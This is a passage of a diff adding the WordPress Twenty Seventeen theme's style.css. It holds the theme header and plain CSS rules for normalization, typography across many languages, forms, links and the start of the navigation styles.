--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/style.css	(revision 56912)
@@ -0,0 +1,4332 @@
+/*
+Theme Name: Twenty Seventeen
+Theme URI: https://wordpress.org/themes/twentyseventeen/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a focus on business sites, it features multiple sections on the front page as well as widgets, navigation and social menus, a logo, and more. Personalize its asymmetrical grid with a custom color scheme and showcase your multimedia content with post formats. Our default theme for 2017 works great in many languages, for any abilities, and on any device.
+Version: 2.0
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Text Domain: twentyseventeen
+Tags: one-column, two-columns, right-sidebar, flexible-header, accessibility-ready, custom-colors, custom-header, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, post-formats, rtl-language-support, sticky-post, theme-options, threaded-comments, translation-ready
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 Normalize
+2.0 Accessibility
+3.0 Alignments
+4.0 Clearings
+5.0 Typography
+6.0 Forms
+7.0 Formatting
+8.0 Lists
+9.0 Tables
+10.0 Links
+11.0 Featured Image Hover
+12.0 Navigation
+13.0 Layout
+   13.1 Header
+   13.2 Front Page
+   13.3 Regular Content
+   13.4 Posts
+   13.5 Pages
+   13.6 Footer
+14.0 Comments
+15.0 Widgets
+16.0 Media
+   16.1 Galleries
+17.0 Customizer
+18.0 SVGs Fallbacks
+19.0 Media Queries
+20.0 Print
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 Normalize
+Styles based on Normalize v5.0.0 @link https://github.com/necolas/normalize.css
+--------------------------------------------------------------*/
+
+html {
+	font-family: sans-serif;
+	line-height: 1.15;
+	-ms-text-size-adjust: 100%;
+	-webkit-text-size-adjust: 100%;
+}
+
+body {
+	margin: 0;
+}
+
+article,
+aside,
+footer,
+header,
+nav,
+section {
+	display: block;
+}
+
+h1 {
+	font-size: 2em;
+	margin: 0.67em 0;
+}
+
+figcaption,
+figure,
+main {
+	display: block;
+}
+
+figure {
+	margin: 1em 0;
+}
+
+hr {
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+	height: 0;
+	overflow: visible;
+}
+
+pre {
+	font-family: monospace, monospace;
+	font-size: 1em;
+}
+
+a {
+	background-color: transparent;
+	-webkit-text-decoration-skip: objects;
+}
+
+a:active,
+a:hover {
+	outline-width: 0;
+}
+
+abbr[title] {
+	border-bottom: 1px #767676 dotted;
+	text-decoration: none;
+}
+
+b,
+strong {
+	font-weight: inherit;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+code,
+kbd,
+samp {
+	font-family: monospace, monospace;
+	font-size: 1em;
+}
+
+dfn {
+	font-style: italic;
+}
+
+mark {
+	background-color: #eee;
+	color: #222;
+}
+
+small {
+	font-size: 80%;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+sup {
+	top: -0.5em;
+}
+
+audio,
+video {
+	display: inline-block;
+}
+
+audio:not([controls]) {
+	display: none;
+	height: 0;
+}
+
+img {
+	border-style: none;
+}
+
+svg:not(:root) {
+	overflow: hidden;
+}
+
+button,
+input,
+optgroup,
+select,
+textarea {
+	font-family: sans-serif;
+	font-size: 100%;
+	line-height: 1.15;
+	margin: 0;
+}
+
+button,
+input {
+	overflow: visible;
+}
+
+button,
+select {
+	text-transform: none;
+}
+
+button,
+html [type="button"],
+[type="reset"],
+[type="submit"] {
+	-webkit-appearance: button;
+}
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+	border-style: none;
+	padding: 0;
+}
+
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+	outline: 1px dotted ButtonText;
+}
+
+fieldset {
+	border: 1px solid #bbb;
+	margin: 0 2px;
+	padding: 0.35em 0.625em 0.75em;
+}
+
+legend {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	color: inherit;
+	display: table;
+	max-width: 100%;
+	padding: 0;
+	white-space: normal;
+}
+
+progress {
+	display: inline-block;
+	vertical-align: baseline;
+}
+
+textarea {
+	overflow: auto;
+}
+
+[type="checkbox"],
+[type="radio"] {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	padding: 0;
+}
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+	height: auto;
+}
+
+[type="search"] {
+	-webkit-appearance: textfield;
+	outline-offset: -2px;
+}
+
+[type="search"]::-webkit-search-cancel-button,
+[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+::-webkit-file-upload-button {
+	-webkit-appearance: button;
+	font: inherit;
+}
+
+details,
+menu {
+	display: block;
+}
+
+summary {
+	display: list-item;
+}
+
+canvas {
+	display: inline-block;
+}
+
+template {
+	display: none;
+}
+
+[hidden] {
+	display: none;
+}
+
+/*--------------------------------------------------------------
+2.0 Accessibility
+--------------------------------------------------------------*/
+
+/* Text meant only for screen readers. */
+
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	height: 1px;
+	overflow: hidden;
+	position: absolute !important;
+	width: 1px;
+	word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */
+}
+
+.screen-reader-text:focus {
+	background-color: #f1f1f1;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto !important;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 700;
+	height: auto;
+	left: 5px;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	text-decoration: none;
+	top: 5px;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar. */
+}
+
+/*--------------------------------------------------------------
+3.0 Alignments
+--------------------------------------------------------------*/
+
+.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 1.5em;
+}
+
+.alignright {
+	display: inline;
+	float: right;
+	margin-left: 1.5em;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/*--------------------------------------------------------------
+4.0 Clearings
+--------------------------------------------------------------*/
+
+.clear:before,
+.clear:after,
+.entry-content:before,
+.entry-content:after,
+.entry-footer:before,
+.entry-footer:after,
+.comment-content:before,
+.comment-content:after,
+.site-header:before,
+.site-header:after,
+.site-content:before,
+.site-content:after,
+.site-footer:before,
+.site-footer:after,
+.nav-links:before,
+.nav-links:after,
+.pagination:before,
+.pagination:after,
+.comment-author:before,
+.comment-author:after,
+.widget-area:before,
+.widget-area:after,
+.widget:before,
+.widget:after,
+.comment-meta:before,
+.comment-meta:after {
+	content: "";
+	display: table;
+	table-layout: fixed;
+}
+
+.clear:after,
+.entry-content:after,
+.entry-footer:after,
+.comment-content:after,
+.site-header:after,
+.site-content:after,
+.site-footer:after,
+.nav-links:after,
+.pagination:after,
+.comment-author:after,
+.widget-area:after,
+.widget:after,
+.comment-meta:after {
+	clear: both;
+}
+
+/*--------------------------------------------------------------
+5.0 Typography
+--------------------------------------------------------------*/
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+	font-size: 15px;
+	font-size: 0.9375rem;
+	font-weight: 400;
+	line-height: 1.66;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	line-height: 1.4;
+	margin: 0 0 0.75em;
+	padding: 1.5em 0 0;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	padding-top: 0;
+}
+
+h1 {
+	font-size: 24px;
+	font-size: 1.5rem;
+	font-weight: 300;
+}
+
+h2,
+.home.blog .entry-title {
+	color: #666;
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 300;
+}
+
+h3 {
+	color: #333;
+	font-size: 18px;
+	font-size: 1.125rem;
+	font-weight: 300;
+}
+
+h4 {
+	color: #333;
+	font-size: 16px;
+	font-size: 1rem;
+	font-weight: 800;
+}
+
+h5 {
+	color: #767676;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-weight: 800;
+	letter-spacing: 0.15em;
+	text-transform: uppercase;
+}
+
+h6 {
+	color: #333;
+	font-size: 15px;
+	font-size: 0.9375rem;
+	font-weight: 800;
+}
+
+p {
+	margin: 0 0 1.5em;
+	padding: 0;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	color: #666;
+	font-size: 18px;
+	font-size: 1.125rem;
+	font-style: italic;
+	line-height: 1.7;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+}
+
+blockquote cite {
+	display: block;
+	font-style: normal;
+	font-weight: 600;
+	margin-top: 0.5em;
+}
+
+address {
+	margin: 0 0 1.5em;
+}
+
+pre {
+	background: #eee;
+	font-family: "Courier 10 Pitch", Courier, monospace;
+	font-size: 15px;
+	font-size: 0.9375rem;
+	line-height: 1.6;
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 1.6em;
+}
+
+code,
+kbd,
+tt,
+var {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+	font-size: 15px;
+	font-size: 0.9375rem;
+}
+
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+
+mark,
+ins {
+	background: #eee;
+	text-decoration: none;
+}
+
+big {
+	font-size: 125%;
+}
+
+blockquote {
+	quotes: "" "";
+}
+
+q {
+	quotes: "“" "”" "‘" "’";
+}
+
+blockquote:before,
+blockquote:after {
+	content: "";
+}
+
+:focus {
+	outline: none;
+}
+
+/* Typography for Arabic Font */
+
+html[lang="ar"] body,
+html[lang="ar"] button,
+html[lang="ar"] input,
+html[lang="ar"] select,
+html[lang="ar"] textarea,
+html[lang="ary"] body,
+html[lang="ary"] button,
+html[lang="ary"] input,
+html[lang="ary"] select,
+html[lang="ary"] textarea,
+html[lang="azb"] body,
+html[lang="azb"] button,
+html[lang="azb"] input,
+html[lang="azb"] select,
+html[lang="azb"] textarea,
+html[lang="fa-IR"] body,
+html[lang="fa-IR"] button,
+html[lang="fa-IR"] input,
+html[lang="fa-IR"] select,
+html[lang="fa-IR"] textarea,
+html[lang="haz"] body,
+html[lang="haz"] button,
+html[lang="haz"] input,
+html[lang="haz"] select,
+html[lang="haz"] textarea,
+html[lang="ps"] body,
+html[lang="ps"] button,
+html[lang="ps"] input,
+html[lang="ps"] select,
+html[lang="ps"] textarea,
+html[lang="ur"] body,
+html[lang="ur"] button,
+html[lang="ur"] input,
+html[lang="ur"] select,
+html[lang="ur"] textarea {
+	font-family: Tahoma, Arial, sans-serif;
+}
+
+html[lang="ar"] h1,
+html[lang="ar"] h2,
+html[lang="ar"] h3,
+html[lang="ar"] h4,
+html[lang="ar"] h5,
+html[lang="ar"] h6,
+html[lang="ary"] h1,
+html[lang="ary"] h2,
+html[lang="ary"] h3,
+html[lang="ary"] h4,
+html[lang="ary"] h5,
+html[lang="ary"] h6,
+html[lang="azb"] h1,
+html[lang="azb"] h2,
+html[lang="azb"] h3,
+html[lang="azb"] h4,
+html[lang="azb"] h5,
+html[lang="azb"] h6,
+html[lang="fa-IR"] h1,
+html[lang="fa-IR"] h2,
+html[lang="fa-IR"] h3,
+html[lang="fa-IR"] h4,
+html[lang="fa-IR"] h5,
+html[lang="fa-IR"] h6,
+html[lang="haz"] h1,
+html[lang="haz"] h2,
+html[lang="haz"] h3,
+html[lang="haz"] h4,
+html[lang="haz"] h5,
+html[lang="haz"] h6,
+html[lang="ps"] h1,
+html[lang="ps"] h2,
+html[lang="ps"] h3,
+html[lang="ps"] h4,
+html[lang="ps"] h5,
+html[lang="ps"] h6,
+html[lang="ur"] h1,
+html[lang="ur"] h2,
+html[lang="ur"] h3,
+html[lang="ur"] h4,
+html[lang="ur"] h5,
+html[lang="ur"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Chinese Font */
+
+html[lang^="zh-"] body,
+html[lang^="zh-"] button,
+html[lang^="zh-"] input,
+html[lang^="zh-"] select,
+html[lang^="zh-"] textarea {
+	font-family: "PingFang TC", "Helvetica Neue", Helvetica, STHeitiTC-Light, Arial, sans-serif;
+}
+
+html[lang="zh-CN"] body,
+html[lang="zh-CN"] button,
+html[lang="zh-CN"] input,
+html[lang="zh-CN"] select,
+html[lang="zh-CN"] textarea {
+	font-family: "PingFang SC", "Helvetica Neue", Helvetica, STHeitiSC-Light, Arial, sans-serif;
+}
+
+html[lang^="zh-"] h1,
+html[lang^="zh-"] h2,
+html[lang^="zh-"] h3,
+html[lang^="zh-"] h4,
+html[lang^="zh-"] h5,
+html[lang^="zh-"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Cyrillic Font */
+
+html[lang="bg-BG"] body,
+html[lang="bg-BG"] button,
+html[lang="bg-BG"] input,
+html[lang="bg-BG"] select,
+html[lang="bg-BG"] textarea,
+html[lang="ru-RU"] body,
+html[lang="ru-RU"] button,
+html[lang="ru-RU"] input,
+html[lang="ru-RU"] select,
+html[lang="ru-RU"] textarea,
+html[lang="uk"] body,
+html[lang="uk"] button,
+html[lang="uk"] input,
+html[lang="uk"] select,
+html[lang="uk"] textarea {
+	font-family: "Helvetica Neue", Helvetica, "Segoe UI", Arial, sans-serif;
+}
+
+html[lang="bg-BG"] h1,
+html[lang="bg-BG"] h2,
+html[lang="bg-BG"] h3,
+html[lang="bg-BG"] h4,
+html[lang="bg-BG"] h5,
+html[lang="bg-BG"] h6,
+html[lang="ru-RU"] h1,
+html[lang="ru-RU"] h2,
+html[lang="ru-RU"] h3,
+html[lang="ru-RU"] h4,
+html[lang="ru-RU"] h5,
+html[lang="ru-RU"] h6,
+html[lang="uk"] h1,
+html[lang="uk"] h2,
+html[lang="uk"] h3,
+html[lang="uk"] h4,
+html[lang="uk"] h5,
+html[lang="uk"] h6 {
+	font-weight: 700;
+	line-height: 1.2;
+}
+
+/* Typography for Devanagari Font */
+
+html[lang="bn-BD"] body,
+html[lang="bn-BD"] button,
+html[lang="bn-BD"] input,
+html[lang="bn-BD"] select,
+html[lang="bn-BD"] textarea,
+html[lang="hi-IN"] body,
+html[lang="hi-IN"] button,
+html[lang="hi-IN"] input,
+html[lang="hi-IN"] select,
+html[lang="hi-IN"] textarea,
+html[lang="mr-IN"] body,
+html[lang="mr-IN"] button,
+html[lang="mr-IN"] input,
+html[lang="mr-IN"] select,
+html[lang="mr-IN"] textarea {
+	font-family: Arial, sans-serif;
+}
+
+html[lang="bn-BD"] h1,
+html[lang="bn-BD"] h2,
+html[lang="bn-BD"] h3,
+html[lang="bn-BD"] h4,
+html[lang="bn-BD"] h5,
+html[lang="bn-BD"] h6,
+html[lang="hi-IN"] h1,
+html[lang="hi-IN"] h2,
+html[lang="hi-IN"] h3,
+html[lang="hi-IN"] h4,
+html[lang="hi-IN"] h5,
+html[lang="hi-IN"] h6,
+html[lang="mr-IN"] h1,
+html[lang="mr-IN"] h2,
+html[lang="mr-IN"] h3,
+html[lang="mr-IN"] h4,
+html[lang="mr-IN"] h5,
+html[lang="mr-IN"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Greek Font */
+
+html[lang="el"] body,
+html[lang="el"] button,
+html[lang="el"] input,
+html[lang="el"] select,
+html[lang="el"] textarea {
+	font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+html[lang="el"] h1,
+html[lang="el"] h2,
+html[lang="el"] h3,
+html[lang="el"] h4,
+html[lang="el"] h5,
+html[lang="el"] h6 {
+	font-weight: 700;
+	line-height: 1.3;
+}
+
+/* Typography for Gujarati Font */
+
+html[lang="gu-IN"] body,
+html[lang="gu-IN"] button,
+html[lang="gu-IN"] input,
+html[lang="gu-IN"] select,
+html[lang="gu-IN"] textarea {
+	font-family: Arial, sans-serif;
+}
+
+html[lang="gu-IN"] h1,
+html[lang="gu-IN"] h2,
+html[lang="gu-IN"] h3,
+html[lang="gu-IN"] h4,
+html[lang="gu-IN"] h5,
+html[lang="gu-IN"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Hebrew Font */
+
+html[lang="he-IL"] body,
+html[lang="he-IL"] button,
+html[lang="he-IL"] input,
+html[lang="he-IL"] select,
+html[lang="he-IL"] textarea {
+	font-family: "Arial Hebrew", Arial, sans-serif;
+}
+
+html[lang="he-IL"] h1,
+html[lang="he-IL"] h2,
+html[lang="he-IL"] h3,
+html[lang="he-IL"] h4,
+html[lang="he-IL"] h5,
+html[lang="he-IL"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Japanese Font */
+
+html[lang="ja"] body,
+html[lang="ja"] button,
+html[lang="ja"] input,
+html[lang="ja"] select,
+html[lang="ja"] textarea {
+	font-family: "Hiragino Kaku Gothic Pro", Meiryo, sans-serif;
+}
+
+html[lang="ja"] h1,
+html[lang="ja"] h2,
+html[lang="ja"] h3,
+html[lang="ja"] h4,
+html[lang="ja"] h5,
+html[lang="ja"] h6 {
+	font-weight: 700;
+}
+
+/* Typography for Korean font */
+
+html[lang="ko-KR"] body,
+html[lang="ko-KR"] button,
+html[lang="ko-KR"] input,
+html[lang="ko-KR"] select,
+html[lang="ko-KR"] textarea {
+	font-family: "Apple SD Gothic Neo", "Malgun Gothic", "Nanum Gothic", Dotum, sans-serif;
+}
+
+html[lang="ko-KR"] h1,
+html[lang="ko-KR"] h2,
+html[lang="ko-KR"] h3,
+html[lang="ko-KR"] h4,
+html[lang="ko-KR"] h5,
+html[lang="ko-KR"] h6 {
+	font-weight: 600;
+}
+
+/* Typography for Thai Font */
+
+html[lang="th"] h1,
+html[lang="th"] h2,
+html[lang="th"] h3,
+html[lang="th"] h4,
+html[lang="th"] h5,
+html[lang="th"] h6 {
+	line-height: 1.65;
+	font-family: "Sukhumvit Set", "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+html[lang="th"] body,
+html[lang="th"] button,
+html[lang="th"] input,
+html[lang="th"] select,
+html[lang="th"] textarea {
+	line-height: 1.8;
+	font-family: "Sukhumvit Set", "Helvetica Neue", Helvetica, Arial, sans-serif;
+}
+
+/* Remove letter-spacing for all non-latin alphabets */
+
+html[lang="ar"] *,
+html[lang="ary"] *,
+html[lang="azb"] *,
+html[lang="haz"] *,
+html[lang="ps"] *,
+html[lang^="zh-"] *,
+html[lang="bg-BG"] *,
+html[lang="ru-RU"] *,
+html[lang="uk"] *,
+html[lang="bn-BD"] *,
+html[lang="hi-IN"] *,
+html[lang="mr-IN"] *,
+html[lang="el"] *,
+html[lang="gu-IN"] *,
+html[lang="he-IL"] *,
+html[lang="ja"] *,
+html[lang="ko-KR"] *,
+html[lang="th"] * {
+	letter-spacing: 0 !important;
+}
+
+/*--------------------------------------------------------------
+6.0 Forms
+--------------------------------------------------------------*/
+
+label {
+	color: #333;
+	display: block;
+	font-weight: 800;
+	margin-bottom: 0.5em;
+}
+
+fieldset {
+	margin-bottom: 1em;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+input[type="number"],
+input[type="tel"],
+input[type="range"],
+input[type="date"],
+input[type="month"],
+input[type="week"],
+input[type="time"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="color"],
+textarea {
+	color: #666;
+	background: #fff;
+	background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0));
+	border: 1px solid #bbb;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	display: block;
+	padding: 0.7em;
+	width: 100%;
+}
+
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+input[type="number"]:focus,
+input[type="tel"]:focus,
+input[type="range"]:focus,
+input[type="date"]:focus,
+input[type="month"]:focus,
+input[type="week"]:focus,
+input[type="time"]:focus,
+input[type="datetime"]:focus,
+input[type="datetime-local"]:focus,
+input[type="color"]:focus,
+textarea:focus {
+	color: #222;
+	border-color: #333;
+}
+
+select {
+	border: 1px solid #bbb;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	height: 3em;
+	max-width: 100%;
+}
+
+input[type="radio"]:focus,
+input[type="checkbox"]:focus {
+	outline: thin dotted #333;
+}
+
+input[type="radio"],
+input[type="checkbox"] {
+	margin-right: 0.5em;
+}
+
+input[type="radio"] + label,
+input[type="checkbox"] + label {
+	font-weight: 400;
+}
+
+button,
+input[type="button"],
+input[type="submit"] {
+	background-color: #222;
+	border: 0;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #fff;
+	cursor: pointer;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	line-height: 1;
+	padding: 1em 2em;
+	text-shadow: none;
+	-webkit-transition: background 0.2s;
+	transition: background 0.2s;
+}
+
+input + button,
+input + input[type="button"],
+input + input[type="submit"] {
+	padding: 0.75em 2em;
+}
+
+button.secondary,
+input[type="reset"],
+input[type="button"].secondary,
+input[type="reset"].secondary,
+input[type="submit"].secondary {
+	background-color: #ddd;
+	color: #222;
+}
+
+button:hover,
+button:focus,
+input[type="button"]:hover,
+input[type="button"]:focus,
+input[type="submit"]:hover,
+input[type="submit"]:focus {
+	background: #767676;
+}
+
+button.secondary:hover,
+button.secondary:focus,
+input[type="reset"]:hover,
+input[type="reset"]:focus,
+input[type="button"].secondary:hover,
+input[type="button"].secondary:focus,
+input[type="reset"].secondary:hover,
+input[type="reset"].secondary:focus,
+input[type="submit"].secondary:hover,
+input[type="submit"].secondary:focus {
+	background: #bbb;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+::-webkit-input-placeholder {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+}
+
+:-moz-placeholder {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+}
+
+::-moz-placeholder {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+	opacity: 1;
+	/* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: #333;
+	font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
+}
+
+/*--------------------------------------------------------------
+7.0 Formatting
+--------------------------------------------------------------*/
+
+hr {
+	background-color: #bbb;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.5em;
+}
+
+/*--------------------------------------------------------------
+8.0 Lists
+--------------------------------------------------------------*/
+
+ul,
+ol {
+	margin: 0 0 1.5em;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+	margin-left: 1.5em;
+}
+
+dt {
+	font-weight: 700;
+}
+
+dd {
+	margin: 0 1.5em 1.5em;
+}
+
+/*--------------------------------------------------------------
+9.0 Tables
+--------------------------------------------------------------*/
+
+table {
+	border-collapse: collapse;
+	margin: 0 0 1.5em;
+	width: 100%;
+}
+
+thead th {
+	border-bottom: 2px solid #bbb;
+	padding-bottom: 0.5em;
+}
+
+th {
+	padding: 0.4em;
+	text-align: left;
+}
+
+tr {
+	border-bottom: 1px solid #eee;
+}
+
+td {
+	padding: 0.4em;
+}
+
+th:first-child,
+td:first-child {
+	padding-left: 0;
+}
+
+th:last-child,
+td:last-child {
+	padding-right: 0;
+}
+
+/*--------------------------------------------------------------
+10.0 Links
+--------------------------------------------------------------*/
+
+a {
+	color: #222;
+	text-decoration: none;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:hover,
+a:active {
+	color: #000;
+	outline: 0;
+}
+
+/* Hover effects */
+
+.entry-content a,
+.entry-summary a,
+.comment-content a,
+.widget a,
+.site-footer .widget-area a,
+.posts-navigation a,
+.widget_authors a strong {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(15, 15, 15, 1);
+	box-shadow: inset 0 -1px 0 rgba(15, 15, 15, 1);
+	-webkit-transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out, -webkit-box-shadow 130ms ease-in-out;
+}
+
+.entry-title a,
+.entry-meta a,
+.page-links a,
+.page-links a .page-number,
+.entry-footer a,
+.entry-footer .cat-links a,
+.entry-footer .tags-links a,
+.edit-link a,
+.post-navigation a,
+.logged-in-as a,
+.comment-navigation a,
+.comment-metadata a,
+.comment-metadata a.comment-edit-link,
+.comment-reply-link,
+a .nav-title,
+.pagination a,
+.comments-pagination a,
+.site-info a,
+.widget .widget-title a,
+.widget ul li a,
+.site-footer .widget-area ul li a,
+.site-footer .widget-area ul li a {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(255, 255, 255, 1);
+	box-shadow: inset 0 -1px 0 rgba(255, 255, 255, 1);
+	text-decoration: none;
+	-webkit-transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, -webkit-box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out;
+	transition: color 80ms ease-in, box-shadow 130ms ease-in-out, -webkit-box-shadow 130ms ease-in-out;
+}
+
+.entry-content a:focus,
+.entry-content a:hover,
+.entry-summary a:focus,
+.entry-summary a:hover,
+.comment-content a:focus,
+.comment-content a:hover,
+.widget a:focus,
+.widget a:hover,
+.site-footer .widget-area a:focus,
+.site-footer .widget-area a:hover,
+.posts-navigation a:focus,
+.posts-navigation a:hover,
+.comment-metadata a:focus,
+.comment-metadata a:hover,
+.comment-metadata a.comment-edit-link:focus,
+.comment-metadata a.comment-edit-link:hover,
+.comment-reply-link:focus,
+.comment-reply-link:hover,
+.widget_authors a:focus strong,
+.widget_authors a:hover strong,
+.entry-title a:focus,
+.entry-title a:hover,
+.entry-meta a:focus,
+.entry-meta a:hover,
+.page-links a:focus .page-number,
+.page-links a:hover .page-number,
+.entry-footer a:focus,
+.entry-footer a:hover,
+.entry-footer .cat-links a:focus,
+.entry-footer .cat-links a:hover,
+.entry-footer .tags-links a:focus,
+.entry-footer .tags-links a:hover,
+.post-navigation a:focus,
+.post-navigation a:hover,
+.pagination a:not(.prev):not(.next):focus,
+.pagination a:not(.prev):not(.next):hover,
+.comments-pagination a:not(.prev):not(.next):focus,
+.comments-pagination a:not(.prev):not(.next):hover,
+.logged-in-as a:focus,
+.logged-in-as a:hover,
+a:focus .nav-title,
+a:hover .nav-title,
+.edit-link a:focus,
+.edit-link a:hover,
+.site-info a:focus,
+.site-info a:hover,
+.widget .widget-title a:focus,
+.widget .widget-title a:hover,
+.widget ul li a:focus,
+.widget ul li a:hover {
+	color: #000;
+	-webkit-box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+	box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+}
+
+/* Fixes linked images */
+.entry-content a img,
+.comment-content a img,
+.widget a img {
+	-webkit-box-shadow: 0 0 0 8px #fff;
+	box-shadow: 0 0 0 8px #fff;
+}
+
+.post-navigation a:focus .icon,
+.post-navigation a:hover .icon {
+	color: #222;
+}
+
+/*--------------------------------------------------------------
+11.0 Featured Image Hover
+--------------------------------------------------------------*/
+
+.post-thumbnail {
+	margin-bottom: 1em;
+}
+
+.post-thumbnail a img {
+	-webkit-backface-visibility: hidden;
+	-webkit-transition: opacity 0.2s;
+	transition: opacity 0.2s;
+}
+
+.post-thumbnail a:hover img,
+.post-thumbnail a:focus img {
+	opacity: 0.7;
+}
+
+/*--------------------------------------------------------------
+12.0 Navigation
+--------------------------------------------------------------*/
+
+.navigation-top {
+	background: #fff;
+	border-bottom: 1px solid #eee;
+	border-top: 1px solid #eee;
+	font-size: 16px;
+	font-size: 1rem;
+	position: relative;
+}
+
+.navigation-top .wrap {
+	max-width: 1000px;
+	padding: 0;
+}
+
+.navigation-top a {
+	color: #222;
+	font-weight: 600;
+	-webkit-transition: color 0.2s;
+	transition: color 0.2s;
+}
+
+.navigation-top .current-menu-item > a,
+.navigation-top .current_page_item > a {
+	color: #767676;
+}
+
+.main-navigation {
+	clear: both;
+	display: block;
+}
+
+.main-navigation ul {
+	background: #fff;
+	list-style: none;
+	margin: 0;
+	padding: 0 1.5em;
+	text-align: left;
+}
+
+/* Hide the menu on small screens when JavaScript is available.
+ * It only works with JavaScript.
+ */
+
+.js .main-navigation ul,
+.main-navigation .menu-item-has-children > a > .icon,
+.main-navigation .page_item_has_children > a > .icon,
+.main-navigation ul a > .icon {
+	display: none;
+}
+
+.main-navigation > div > ul {
+	border-top: 1px solid #eee;
+	padding: 0.75em 1.695em;
+}
+
+.js .main-navigation.toggled-on > div > ul {
+	display: block;
+}
+
+.main-navigation ul ul {
+	padding: 0 0 0 1.5em;
+}
+
+.main-navigation ul ul.toggled-on {
+	display: block;
+}
+
